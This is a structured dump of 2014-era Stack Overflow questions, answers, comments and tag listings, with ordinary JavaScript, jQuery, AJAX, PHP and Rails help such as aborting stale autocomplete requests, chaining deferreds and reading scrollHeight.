has comment: http://stackoverflow.com/comment/40190060

http://stackoverflow.com/comment/40006808
comment on: http://stackoverflow.com/q/25603191
type: Comment
type: QuestionComment
score: 0
has text: Since varargs are syntactic sugar for an array I'd argue that Nashorn does the right thing.

http://stackoverflow.com/comment/39997914
has text: can you give some idea or code for the correct approach.
type: Comment
comment on: http://stackoverflow.com/a/25604973
score: 0
type: AnswerComment

http://stackoverflow.com/q/25577395
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/39948008
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/39948324
linked to: http://stackoverflow.com/q/4121963
accepted answer: http://stackoverflow.com/a/25577563
linked to: http://stackoverflow.com/q/21238086
downvote count: 0
has title: Executing current ajax call and aborting all previous ones
favorite count: 0
has answer: http://stackoverflow.com/a/25577989
has answer: http://stackoverflow.com/a/25577402
tagged with: ajax
has body: I am trying to build an auto-complete UI. There is an input whose on keyup function does an ajax call to server to fetch the most relevant data. But if user types a word which is, say 10 character long, so for each keyup one ajax call is made and my dialogue box refreshes 10 times. I have tried using abort() for the ajax call. When I do an abort to previous ajax call, the call is not made but still it waits for 10 calls before executing the last one, which makes the user experience very bad. So is there a way to execute just the current ajax call without any delay from the previous ones? A part of my code: var request_autocomplete=jQuery.ajax({}); $('.review_autocomplete').keyup(function() { request_autocomplete.abort(); request_autocomplete=jQuery.ajax({ // DO something }); });
possible better answer: http://stackoverflow.com/a/25577402
has answer: http://stackoverflow.com/a/25577635
answer count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25577563
score: 1

http://stackoverflow.com/comment/40020151
type: QuestionComment
score: 0
has text: now Ihave added on this please have a look now
type: Comment
comment on: http://stackoverflow.com/q/25617128

http://stackoverflow.com/q/25650846
has answer: http://stackoverflow.com/a/25651250
accepted answer: http://stackoverflow.com/a/25651250
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25651255
has comment: http://stackoverflow.com/comment/40081610
has comment: http://stackoverflow.com/comment/40081523
has comment: http://stackoverflow.com/comment/40081480
linked to: http://stackoverflow.com/q/18386753
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40081441
possible better answer: http://stackoverflow.com/a/25651255
has comment: http://stackoverflow.com/comment/40081679
linked to: http://stackoverflow.com/q/20122227
has comment: http://stackoverflow.com/comment/40081875
has body: I came upon this script from Google search at jQuery Deferred and Promise for sequential execution of synchronous and asynchronous funcitons . This may solve my issue on executing the script in sequiental order. But the problem I have with then() function is I have no way of knowing how many time can I call this function. I can call the function a() 3 times, next time, I can call it 20 times, etc. So, that won't work with then(). then() function doesn't allow the array stack. So, what do you people do to to make this concept work? fucntion a(counter) { $deferred = $.Deferred(); //Run some scripts here... alert(counter); $deferred.resolve(); return $deferred; } function Test() { var d = $.Deferred(), p=d.promise(); p.then(a(0)).then(a(1)).then(a(2)); d.resolve(); return d; } Test().done(function(){ alert('done'); }).fail(function() { alert('fail'); });
downvote count: 1
type: Question
tagged with: javascript
score: -1
linked to: http://stackoverflow.com/q/23650204
has title: $.Deferred.then() function doesn't allow unknown number of time to call the function dynamically?
answer count: 2
upvote count: 0
tagged with: jquery-deferred
has comment: http://stackoverflow.com/comment/40081726

http://stackoverflow.com/q/25625065
possible better answer: http://stackoverflow.com/a/25625411
has answer: http://stackoverflow.com/a/25625411
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/25625270
score: 1
favorite count: 0
type: Question
has body: I have some simple code that will open an embedded img in a new window: Now I'm looking for the same trick but for a background image, I've tried this but backgroundImage is empty
accepted answer: http://stackoverflow.com/a/25625270
answer count: 2
has title: Javascript: open background image in new window
upvote count: 1
tagged with: javascript

http://stackoverflow.com/comment/39969703
has text: 'collection' is the name of the table. I am getting the index as an alert!
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25589491

http://stackoverflow.com/comment/39907917
has text: I don't think so. The reason is that you can of course attach your OWN events. So you could reasonably listen for an event called "keyUp" or "keyUP" etc. If you want to how I figured it out, my rule of thumb is simply to follow this debugging pattern: 1) check and fix any script errors, 2) assume that a magic string is somehow wrong. In this case "onkeyup".
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25556447
score: 1

http://stackoverflow.com/comment/70045192
score: 0
has text: In case anyone's wondering what the circumstance was, I needed a specific version of retinajs and the retina.js was not included in repo's release https://github.com/chrishunt/retinajs/releases.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/41419928

http://stackoverflow.com/comment/40082545
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25651204
score: 1
has text: I usually have at least two buttons: "Ok" and "Cancel". Sometimes I might also have something like a "< Back" button to move to the logically previous page (while retaining the info the user entered on the current page).

http://stackoverflow.com/comment/40137284
type: Comment
has text: I see, that fixes it. `this` is indeed my game. Though I'm curious why it should call `destroy` on `this` when the function to be called is a member of `this.instructions`.
comment on: http://stackoverflow.com/a/25681876
type: AnswerComment
score: 0

http://stackoverflow.com/q/25621751
has title: Repeat ->select tag in play framework
has body: This is code i have written to populate list of option from other class @select( studentForm("friends[0].id"), options(Teacher.options), '_label -&gt; "Teacher", '_default -&gt; "-- Choose a Teacher --", '_showConstraints -&gt; false ) with this code i m able to save selected teacher in database. but i want to have one button next to this so that this dropdown can added/repeat into form again.
has answer: http://stackoverflow.com/a/25628895
answer count: 1
type: UnansweredQuestion
tagged with: playframework-2.0
tagged with: twitter-bootstrap-3
score: 0
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/40031804
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/40074104
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25646772
has text: Thanks for the help, I found out my mistake was that I used "yScale" on my "cx" and therefore placed it out of the frame on the 2nd snippet with ellipse.
score: 0

http://stackoverflow.com/a/25694476
has body: When rendering your button, you should wrap the id in quotes, e.g. &lt;button id='&lt;?php echo $button_id; ?&gt;'&gt;&lt;?php echo $div_name; ?&gt;&lt;/button&gt;
answers question: http://stackoverflow.com/q/25694118
type: Answer
upvote count: 1
downvote count: 1
score: 0

iframe
tags question: http://stackoverflow.com/q/25608546
tags question: http://stackoverflow.com/q/25559349
tags question: http://stackoverflow.com/q/25651894
tags question: http://stackoverflow.com/q/25642054
tags question: http://stackoverflow.com/q/25572002
tags question: http://stackoverflow.com/q/25570535
tags question: http://stackoverflow.com/q/25686088
tags question: http://stackoverflow.com/q/25694094
tags question: http://stackoverflow.com/q/25565716
tags question: http://stackoverflow.com/q/25621111
tag name: iframe
tags question: http://stackoverflow.com/q/25554114
tags question: http://stackoverflow.com/q/25593282
tags question: http://stackoverflow.com/q/25628123
tags question: http://stackoverflow.com/q/25670573
tags question: http://stackoverflow.com/q/25690687
tags question: http://stackoverflow.com/q/25707025
tags question: http://stackoverflow.com/q/25637101
tags question: http://stackoverflow.com/q/25682563
tags question: http://stackoverflow.com/q/25646397
tags question: http://stackoverflow.com/q/25593597
tags question: http://stackoverflow.com/q/25566038
tags question: http://stackoverflow.com/q/25575673
tags question: http://stackoverflow.com/q/25675987
tags question: http://stackoverflow.com/q/25682414
tags question: http://stackoverflow.com/q/25685866
tags question: http://stackoverflow.com/q/25665908
tags question: http://stackoverflow.com/q/25632139
tags question: http://stackoverflow.com/q/25637810
tags question: http://stackoverflow.com/q/25642507
tags question: http://stackoverflow.com/q/25653416
tags question: http://stackoverflow.com/q/25554488
tags question: http://stackoverflow.com/q/25666407
type: Tag
tags question: http://stackoverflow.com/q/25632883
tags question: http://stackoverflow.com/q/25581838
tags question: http://stackoverflow.com/q/25554612
tags question: http://stackoverflow.com/q/25600505
tags question: http://stackoverflow.com/q/25599173
tags question: http://stackoverflow.com/q/25694396
tags question: http://stackoverflow.com/q/25644543
tags question: http://stackoverflow.com/q/25666555
tags question: http://stackoverflow.com/q/25687300
tags question: http://stackoverflow.com/q/25630789
tags question: http://stackoverflow.com/q/25686972
tags question: http://stackoverflow.com/q/25565552
tags question: http://stackoverflow.com/q/25624591
tags question: http://stackoverflow.com/q/25592186
tags question: http://stackoverflow.com/q/25594626
tags question: http://stackoverflow.com/q/25695369
tags question: http://stackoverflow.com/q/25678366
tags question: http://stackoverflow.com/q/25626508
tags question: http://stackoverflow.com/q/25703050
tags question: http://stackoverflow.com/q/25706597
tags question: http://stackoverflow.com/q/25674115

http://stackoverflow.com/comment/40156468
score: 2
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25692240
has text: The split is performed only once. It returns IEnumerator which is later used for calling MoveNext

http://stackoverflow.com/comment/40804444
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/26043094
has text: Guys thanks for your input! @markain I have to check the downloads api. Everything I've read thus far points to permanent or temporary storage. But if the downloads api allows me to 1-create directories and 2-save to those directories without user interaction then I have my solution. I'm not sure I can though. @ Xan The user would choose a location only once via the app UI. On the code above, the block 'if (_folderEntry != null) { openDirectory(); }' accomplishes this. The user chooses a folder where images are to be saved. This works very nicely. My issue is that the images are useless now.

http://stackoverflow.com/q/25598781
has answer: http://stackoverflow.com/a/70562229
tagged with: events
has comment: http://stackoverflow.com/comment/39986361
has body: This is the fiddle : http://jsfiddle.net/msjmss4c/5/ Below is the code from Nicholas C. Zakas' book 'javascript for developer'. I'm beginner in web programming and I think this function is fine. But its 'target' isn't contain its child nodes. That's why below things happening. Works O : text works X: text So I want make the scope of target into contain its child nodes. But I don't know how. Below is the code. Is any one here who can touch this code? var Event = { add: function(element, type, handler) { if (element.addEventListener) { element.addEventListener(type, handler, false); } else if (element.attachEvent) { element.attachEvent("on" + type, handler); } else { element["on" + type] = handler; } }, remove: function(element, type, handler) { if (element.removeEventListener) { element.removeEventListener(type, handler, false); } else if (element.detachEvent) { element.detachEvent("on" + type, handler); } else { element["on" + type] = null; } }, getEvent: function(event) { return event ? event : window.event; }, getTarget: function(event) { return event.target || event.srcElement; }, preventDefault: function(event) { if (event.preventDefault) { event.preventDefault(); } else { event.returnValue = false; } }, stopPropagation: function(event) { if (event.stopPropagation) { event.stopPropagation(); } else { event.cancelBubble = true; } } }
has comment: http://stackoverflow.com/comment/39986524
type: UnansweredQuestion
has title: How can make the event target include its child nodes, in js?
has comment: http://stackoverflow.com/comment/39986615
has comment: http://stackoverflow.com/comment/39986498
type: Question
answer count: 2
tagged with: target
has comment: http://stackoverflow.com/comment/39986716
tagged with: javascript
has comment: http://stackoverflow.com/comment/39986345
has answer: http://stackoverflow.com/a/25598950
score: 0

http://stackoverflow.com/a/25722712
type: Answer
answers question: http://stackoverflow.com/q/25708351
has body: This is an answer (better call it to outcome) for my own question: Finally i came out with another solution based on the responses in this thread (Thanks guys!) because the original problem can not be solved, since the javascript runtime can't find out wether to return a value, or return itself (the object) when chained. Explanation is messy, sorry :( Check out my lib, where i have methods like: check(value).isString() etc.. Originally i wanted to chain these like check(value).isString().and.not.empty() but this, in this way, can not be done. (Challenge me) Finally i created tokens for chaining, so instead of check(value).isString().and.not.empty() I can write check(value).isstring.and.not.empty.test() Not nice, but still something. check.js For review, visit checkjs on my github repo. Note: README is outdated.
score: 0

http://stackoverflow.com/comment/40023662
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25618899
has text: im a big fan of the multiselect plugin for jqueryui http://www.erichynds.com/blog/jquery-ui-multiselect-widget, this will also allow people to filter, and have a 'select all' option

http://stackoverflow.com/q/25659004
score: 0
tagged with: http://stackoverflow.com/tag/html
has body: I have three tags in my HTML. Dept1 Dept2 Dept3 Please Select Please Select I want to implement a scenario such that on selection of a particular department, all related processes of that department are filled in processSelect, on selection of a particular process from processSelect all related categories of that process are populated on categorySelect Javascript function categorySelect(value) { var arg= value; var xmlhttp; if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { //alert ("Returned"); //Get value from php page that executes select statement into ProcessArray } else alert("Nothing"); } xmlhttp.open("GET","fetch.php?q="+comboOption,true); xmlhttp.send(); for(m = 0; m < ProcessArray.length; m++) { var option = document.createElement('option'); //On selection of this option, another query has to be executed and values has to be returned in categorySelect select option.innerHTML = ProcessArray[m].name; option.value = ProcessArray[m].code; category.appendChild(option); category.value = ProcessArray[0].code; } PHP: $q = intval($_GET['q']); $i = 0; $j; $conn = OCILogon("abc","abc","abc_server"); $qry_process = "SELECT CATEGORYSHORTCODE, CATEGORYDESCRIPTION FROM tableAbcWHERE PROCESSid = ".$q; $qry_category= OCIParse($conn,$qry_process); OCIDefineByName($qry_category,"CATEGORYSHORTCODE",$CATEGORYSHORTCODE); OCIDefineByName($qry_category,"CATEGORYDESCRIPTION",$CATEGORYDESCRIPTION); OCIExecute($qry_category); while(OCIFetch(qry_category)) { $categoryArray = array(array($i,$CATEGORYSHORTCODE,$CATEGORYDESCRIPTION)); } How do I return this $categoryArray and useit in my Javascript?
type: UnansweredQuestion
tagged with: php
answer count: 0
has comment: http://stackoverflow.com/comment/40096950
has comment: http://stackoverflow.com/comment/40097179
tagged with: oracle11g
type: Question
has comment: http://stackoverflow.com/comment/40096318
tagged with: javascript
has title: Php - Populate Select with oracle query values

http://stackoverflow.com/q/25562286
tagged with: google-chrome
type: Question
has comment: http://stackoverflow.com/comment/39919279
has body: What are the options to block the methods bellow with Chrome? navigator.appVersion Info os.name as I was successfully profiled in http://browserspy.dk/browser.php I´d like to hide Browser and OS in order to avoid exploits.
tagged with: javascript
upvote count: 11
has answer: http://stackoverflow.com/a/41187873
answer count: 2
has title: Is possible to spoof user-agent and OS with Chrome?
tagged with: user-agent
tagged with: spoof
favorite count: 0
has answer: http://stackoverflow.com/a/25562390
type: UnansweredQuestion
score: 11
downvote count: 0

http://stackoverflow.com/a/25571435
answers question: http://stackoverflow.com/q/25570263
accepted answer of: http://stackoverflow.com/q/25570263
upvote count: 1
type: AcceptedAnswer
has body: Not fond of the names of the properties i chose, but I prefer the use of an array, the issue is solvable if you use objects: Person: {{user.person.text}} app.controller('Ctrl', function($scope, $filter) { $scope.people = [ { value: '1', text: 'p1' }, { value: '2', text: 'p2' }, { value: '3', text: 'p3' }, { value: '4', text: 'p4' } ]; $scope.user = {person: $filter('filter')($scope.people, {value : 3})[0]}; }); Also it wont work with the version of AngularJS you were referencing, here is a working fiddle.
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/q/25573634
has comment: http://stackoverflow.com/comment/39940440
has comment: http://stackoverflow.com/comment/39940845
possible better answer: http://stackoverflow.com/a/25623619
type: Question
tagged with: browser
has comment: http://stackoverflow.com/comment/39940372
answer count: 2
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25623595
tagged with: html4
score: 0
has body: history.js is working flawlessly on my website, in browsers that support HTML5. When a URL is clicked, it does an ajax call, and on complete, saves the state to the history. I fade in the new content with the function update_content(). on HTML4 browsers, I just want the website to treat the URL as a normal URL and skip the AJAX. I was hoping history.js has a method or function I can call to detect browser. Pseudo code below. $(document).on('click', 'a[data-type="content"]', function(event) { // pseudo code if(History.html4() ) { return; } event.preventDefault(); var href = $(this).attr('href'); $.get(href, function(data) { var new_data = $(data).siblings('#main_wrapper').html(); // update page with the new data! update_content(new_data); // add an item to the history log History.pushState({ html: new_data }, event.target.textContent, event.target.href); }); }); I have included ONLY the html5 history.js, so it doesn't attempt to put the # in the URL. Is there a method or function in history.js that I can use to detect if the current browser is an HTML4 browser, so I know to treat the link as normal? Is there a better way to do this? I don't want to install a plugin like modernizr unless I have to.
has answer: http://stackoverflow.com/a/25623619
has comment: http://stackoverflow.com/comment/39940489
tagged with: history.js
has answer: http://stackoverflow.com/a/25623595
type: AnsweredQuestion
has title: use history.js to detect if HTML4 is supported so I can bypass ajax

http://stackoverflow.com/q/25609381
score: 0
has title: How to implement post video functionality like in Facebook
has body: I want to implement similar functionality like in facebook where you can post videos. So when you copy the link then facebook creates some sort of snapshot and then you post it. I am searching around google how to do this but unfortunately didn't come across anything useful. I want to know if there is something already implemented plugin or a tutorial to perform such action. The only example I found is something like following used marked jQuery library. Is there something more elegant besides this. marked.setOptions({ gfm: true, pedantic: false, sanitize: true, highlight: null, urls: { youtube : function(text, url) { var cap; if((cap = /(youtu\.be\/|youtube\.com\/(watch\?(.*&)?v=|(embed|v)\/))([^\?&"'>]+)/.exec(url))) { return '<iframe width="420" height="315" src="https://www.youtube.com/embed/' + cap[5] + '" frameborder="0" allowfullscreen '; } }, vimeo : function(text, url) { var cap; if((cap = /^.*(vimeo\.com\/)((channels\/[A-z]+\/)|(groups\/[A-z]+\/videos\/))?([0-9]+)/.exec(url))) { return ' '; } }, dailymotion : function(text, url) { var cap; if((cap = /^.+dailymotion.com\/(video|hub)\/([^_]+)[^#]*(#video=([^_&]+))?/.exec(url))) { return ' '; } } });
type: UnansweredQuestion
type: Question
answer count: 2
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25610083
has answer: http://stackoverflow.com/a/25610643

http://stackoverflow.com/a/25583465
type: Answer
has comment: http://stackoverflow.com/comment/39958351
has body: Try this? Add: class: "Change_me" to your link &lt;%= link_to image_tag("Dislike.png"), dislike_pride_path(@pride), class: 'vote', method: :put, remote: true, data: { toggle_href: like_pride_path(@pride), id: @pride.id }, class: "change_me" %&gt; src: link_to image_tag with inner text or html in rails In your coffeescript, change the image src $(".change_me").attr 'src', '/like.png' src: Rails 3.1 CoffeeScript/JQuery - How to change the source of an image in a div?
score: 0
answers question: http://stackoverflow.com/q/25583340

http://stackoverflow.com/q/25653671
downvote count: 1
type: Question
duplicate of: http://stackoverflow.com/q/1056728
has comment: http://stackoverflow.com/comment/40086992
tagged with: javascript
has title: Display last week date using javascript
has body: I was trying to make a javascript calender function as like in Google Analytics. to display last week calander. But couldn't figure it out for example. var d = new Date(); d.setTime(d.getTime() - (d.getDay() ? d.getDay() : 7) * 24 * 60 * 60 * 1000); d.setTime(d.getTime() - 7 * 24 * 60 * 60 * 1000); alert(d); Result Sun Aug 24 2014 02:46:57 GMT+0545 but i want result in this format 08/24/2014
score: 0
answer count: 1
favorite count: 0
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/40087425
linked to: http://stackoverflow.com/q/1056728
tagged with: date
has answer: http://stackoverflow.com/a/25653709
has comment: http://stackoverflow.com/comment/40086739

http://stackoverflow.com/comment/39962189
has text: @j08691 Oh, true. I didn't HTML5 redefined it, I thought it was removed like ` `.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25585414

http://stackoverflow.com/q/25664568
accepted answer: http://stackoverflow.com/a/25681998
has comment: http://stackoverflow.com/comment/40109541
has comment: http://stackoverflow.com/comment/40107768
answer count: 1
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40110300
tagged with: ajax
has comment: http://stackoverflow.com/comment/40107352
has answer: http://stackoverflow.com/a/25681998
score: 0
has title: Rails4: Form-Update via Ajax not working -> Template error
tagged with: ruby-on-rails
type: Question
type: AnsweredQuestion
has body: I am trying to update a section in a form when the user enters a valid date. CoffeeScript is initiating a call to the controller and the controller starts a '.js.erb' action for rendering a form partial. What I want is to supply the user-entered date to a 'autocomplete' field, so only values with a certain validity date will be returned and offered... See code below: flights.s.coffee: $ -&gt; $("#flight_f_date").focusout -&gt; $.ajax url: "/flight/populateAircraftsSelection" data: f_date: $('#flight_f_date').val() dataType: "script" My controller function looks like: def populateAircraftsSelection puts "AircraftsSelection" + params[:f_date.to_s] @flight_date = params[:f_date].to_s respond_to do |format| format.js end end populateAircraftsSelection.js.erb: $("#flight_test").html("&lt;%= escape_javascript render partial: 'test', :locals =&gt; { flight: @flight, flight_date: @flight_date } %&gt;"); and the _test.htnl.erb partial &lt;div id="#test"&gt; &lt;%= f.label :aircraft_id, "Kennzeichen" %&gt;&lt;br&gt; &lt;%= f.hidden_field :aircraft_id %&gt; &lt;%= f.autocomplete_field :helper_registration_field , autocomplete_aircraft_registration_flights_path(:flight_date =&gt; @flight_date.to_s), :update_elements =&gt; { :id =&gt; '#flight_aircraft_id', :acfttype =&gt; '#flight_helper_aircraft_field' } %&gt; &lt;/div&gt; I am getting the following error: ActionView::Template::Error (undefined local variable or method `f' for #&lt;# &lt;Class:0x007fee2cb62c28&gt;:0x007fee298a0ec0&gt;): 1: &lt;div id="#test"&gt; 2: 3: 4: &lt;%= f.label :aircraft_id, "Kennzeichen" %&gt;&lt;br&gt; 5: &lt;%= f.hidden_field :aircraft_id %&gt; 6: 7: &lt;%= f.autocomplete_field :helper_registration_field , autocomplete_aircraft_registration_flights_path(:flight_date =&gt; @flight_date.to_s), app/views/flights/_test.html.erb:4:in `_app_views_flights__test_html_erb__1386346884294841760_70330389540980' app/views/flights/populateAircraftsSelection.js.erb:1:in `_app_views_flights_populate_ircrafts_electi…
tagged with: coffeescript

http://stackoverflow.com/q/25610037
type: UnansweredQuestion
tagged with: php
has title: JSON constructor to POST Javascript object via AJAX
has comment: http://stackoverflow.com/comment/40007546
has body: I have a custom eCommerce build for a client, which contains inputs that need to be sent to the server for hashing before the form can post. The basic setup contains two select fields, one for the flavor name and another for its corresponding quantity. The user can Add Additional Flavor, which adds another set of flavor name and quantity selects. Since the number of flavors (and their quantities) are dynamic, I need hash these values right before the form is posted via AJAX. How do I create the constructor function for the JSON example below so that I can post the users values to my PHP script via JSON.stringify() Basic JSON format I (think) I am after: var flavorSelection { flavor1 : ["Bacon", "1"], flavor2 : ["Cheezy", "2"], flavor3 : ["Cheezy", "1"] } Sample select fields Bacon Cheezy 1 2
type: Question
has comment: http://stackoverflow.com/comment/40007076
has comment: http://stackoverflow.com/comment/40007336
tagged with: http://stackoverflow.com/tag/json
tagged with: javascript
has answer: http://stackoverflow.com/a/25610500
score: 0
answer count: 2
tagged with: ajax
has answer: http://stackoverflow.com/a/25610104
has comment: http://stackoverflow.com/comment/40007483

http://stackoverflow.com/q/25675781
accepted answer: http://stackoverflow.com/a/25689366
tagged with: php
has body: So I am trying to save a dynamically created set of fields to the database using $_POST. Basically, I can't figure out how to get the options to save as an object for each fieldset instead of as an array of the options themselves. It's hard for me to describe... let me explain. First, screenshot of what the thing looks like here. The fields dynamically create via jQuery and that works great. Here's the fields I have set up for the form: Calendar Name <input name="name[]" id="name[]" type="text" value="<?php echo $calendars['name'][$key]; ?>"> Public URL <input name="url[]" id="url[]" type="text" value="<?php echo $calendars['url'][$key]; ?>"> Color <input name="color[]" id="color[]" type="text" value="<?php echo $calendars['color'][$key]; ?>"> This is similar to this question but I guess I don't understand how I should be upping and sorting the index values properly using JS, or if there is a PHP solution I'm just completely missing. TL;DR Basically how can I produce something like foo[0]['name'] instead of foo['name'][0] using either PHP or JS or both in a dynamically created form with repeating fieldsets?
has comment: http://stackoverflow.com/comment/40127104
type: AnsweredQuestion
score: 0
linked to: http://stackoverflow.com/q/21050050
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25689366
tagged with: arrays
tagged with: javascript
has comment: http://stackoverflow.com/comment/40147365
tagged with: jquery
has title: Saving Repeatable Fields Options to PHP Object Array
possible better answer: http://stackoverflow.com/a/25690021
has answer: http://stackoverflow.com/a/25690021

http://stackoverflow.com/q/25572525
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25622309
has body: I have the below code which launches the page and sets the zoom to 175%. I would like to do this for the w3schools link below...e.g. in a child window if anyone knows how. thanks . IE 8 compatible, dont care about other browsers at the moment. olecmdid Visit W3Schools.com!
score: 0
accepted answer: http://stackoverflow.com/a/25622309
type: AnsweredQuestion
type: Question
has title: Set zoom level on a new internet explorer child window

http://stackoverflow.com/a/25675574
has body: One approach would be to map over your "custom" list of ids and return models in the collection with that id: var items = [ {id: 0, name: '1st', age: 40}, {id: 1, name: '2nd', age: 50}, {id: 2, name: '3rd', age: 60} ]; // order stored in cookie or localstorage ^^ var sorted = [2, 1, 0]; // our source collection var collection = new Backbone.Collection(items); // this could be implemented as a collection method if necessary var sortedCollection = _.map(sorted, function (id) { return collection.get(id); }); var sortedIds = sortedCollection.map(function (item) { return item.id }) console.log(sortedIds); // [2, 1, 0] jsbin with an example view
score: 0
answers question: http://stackoverflow.com/q/25673036
type: Answer

http://stackoverflow.com/q/25627819
has answer: http://stackoverflow.com/a/25745080
has comment: http://stackoverflow.com/comment/40151253
type: Question
has comment: http://stackoverflow.com/comment/40071672
tagged with: javascript
tagged with: audiobuffer
score: 0
answer count: 1
tagged with: web-audio-api
has title: Connect createAudioBuffer with Analyser multiple times
type: UnansweredQuestion
has body: I' got stucked. My problem is, that I initialize my mp3 files via the createAudioBuffer and want to connect every single audio file with my analyser. But only if I set audioSource[i].start(); the last track will go through the analyser. I want that every audio file will go trough that analyser if I press the play button on the tag (or extern button). Is there a way to get that work? Here is my code: var canvas, ctx, source, audioCtx, analyser, fbc_array, bars, bar_x, bar_width, bar_height; var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); var invocation = new XMLHttpRequest(); analyser = audioCtx.createAnalyser(); function initSound(i, track){ canvas = document.getElementById('analyser_render'); ctx = canvas.getContext('2d'); var d = document, audio = new Audio(); if (audio.canPlayType) { // Currently canPlayType(type) returns: "", "maybe" or "probably" var canPlayMp3 = !!audio.canPlayType &amp;&amp; "" != audio.canPlayType('audio/mpeg'); } trackSource = track.uri + '/stream?client_id=62fa6c34df7382c8dc444a18f4ff72b4'; audio.src = trackSource; audio.controls = true; audio.loop = false; audio.autoplay = false; audio.preload = "none"; audio.setAttribute('data-tracknumber', i+1); $('&lt;div class="audioWrapper"&gt;&lt;div class="url"&gt;&lt;/div&gt;&lt;img class="img" /&gt;&lt;div class="controls"&gt;&lt;button class="play-pause"&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;').appendTo('#audio_box').append(audio); analyser.connect(audioCtx.destination); fetchAudioAsset(trackSource, audioCtx, function( buffer ) { audioSource = []; audioSource[i] = audioCtx.createBufferSource(); audioSource[i].buffer = buffer; audioSource[i].connect(audioCtx.destination); audioSource[i].connect(analyser); }); function fetchAudioAsset (path, audioCtx, callback) { invocation.open('GET', path, true); invocation.responseType = 'arraybuffer'; invocation.onload = function() { if (invocation.readyState != 4) return; audioCtx.decodeAudioData(invocation.response, function(buff…

firefox
tags question: http://stackoverflow.com/q/25602254
tags question: http://stackoverflow.com/q/25665897
tags question: http://stackoverflow.com/q/25619300
tags question: http://stackoverflow.com/q/25666578
tags question: http://stackoverflow.com/q/25590488
tags question: http://stackoverflow.com/q/25634651
tags question: http://stackoverflow.com/q/25676328
tags question: http://stackoverflow.com/q/25618755
tags question: http://stackoverflow.com/q/25693250
tags question: http://stackoverflow.com/q/25618899
tags question: http://stackoverflow.com/q/25667866
tags question: http://stackoverflow.com/q/25703222
tags question: http://stackoverflow.com/q/25630367
tags question: http://stackoverflow.com/q/25621111
tags question: http://stackoverflow.com/q/25556097
tag name: firefox
tags question: http://stackoverflow.com/q/25592156
tags question: http://stackoverflow.com/q/25677122
tags question: http://stackoverflow.com/q/25707142
tags question: http://stackoverflow.com/q/25587892
tags question: http://stackoverflow.com/q/25601897
tags question: http://stackoverflow.com/q/25589709
type: Tag
tags question: http://stackoverflow.com/q/25610598
tags question: http://stackoverflow.com/q/25669660
tags question: http://stackoverflow.com/q/25611565
tags question: http://stackoverflow.com/q/25662090
tags question: http://stackoverflow.com/q/25633909
tags question: http://stackoverflow.com/q/25604373
tags question: http://stackoverflow.com/q/25704556
tags question: http://stackoverflow.com/q/25641361
tags question: http://stackoverflow.com/q/25653416
tags question: http://stackoverflow.com/q/25595440
tags question: http://stackoverflow.com/q/25677800
tags question: http://stackoverflow.com/q/25655998
tags question: http://stackoverflow.com/q/25561745
tags question: http://stackoverflow.com/q/25561508
tags question: http://stackoverflow.com/q/25619464
tags question: http://stackoverflow.com/q/25573807
tags question: http://stackoverflow.com/q/25657587
tags question: http://stackoverflow.com/q/25606138

http://stackoverflow.com/a/25610045
answers question: http://stackoverflow.com/q/25609506
has comment: http://stackoverflow.com/comment/40027252
has comment: http://stackoverflow.com/comment/40008286
type: Answer
has comment: http://stackoverflow.com/comment/40038700
downvote count: 0
score: 16
accepted answer of: http://stackoverflow.com/q/25609506
has comment: http://stackoverflow.com/comment/40006983
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40014004
has comment: http://stackoverflow.com/comment/40010053
upvote count: 16
has body: Everything seems fine, jQuery.height() and jQuery.innerHeight() has nothing to do with the overflow property. They will return heights, not just the visible part. If you want to know the content height you have to use scrollHeight. This scrollHeight is a regular javascript property you don't have to use jQuery document.getElementById("wrapper").scrollHeight; Or you can use jQuery selector $('#wrapper')[0].scrollHeight; See the working jsfiddle: http://jsfiddle.net/scgz7an5/1/ Notice that $('#wrapper').scrollHeight; returns undefined. UPDATE You forgot the most important part of floating elements. You forgot to clear them. Take a look at this jsfiddle, is an edit of yours but with floating elements cleared. There you see different values for scrollHeight and jQuery.height(). See that .structureContent is the one that has the scroll bar, not .content neither .width100. .structureContent has overflow:auto and the scrollbar you see comes from it. http://jsfiddle.net/L2bxmszv/5/ I added this class to clear your floating elements. .clearfix:before, .clearfix:after, { content: '\0020'; display: block; overflow: hidden; visibility: hidden; width: 0; height: 0; } .clearfix:after { clear: both; } .clearfix { zoom: 1; } The output was this: .content 324 for scrollHeight 324 for clientHeight 324 for jQuery.height() .structureContent 324 for scrollHeight 276 for clientHeight 276 for jQuery.height() See a great article about floating elements and clearing them here: http://css-tricks.com/all-about-floats/

http://stackoverflow.com/a/25634442
upvote count: 2
has comment: http://stackoverflow.com/comment/40052053
answers question: http://stackoverflow.com/q/25634403
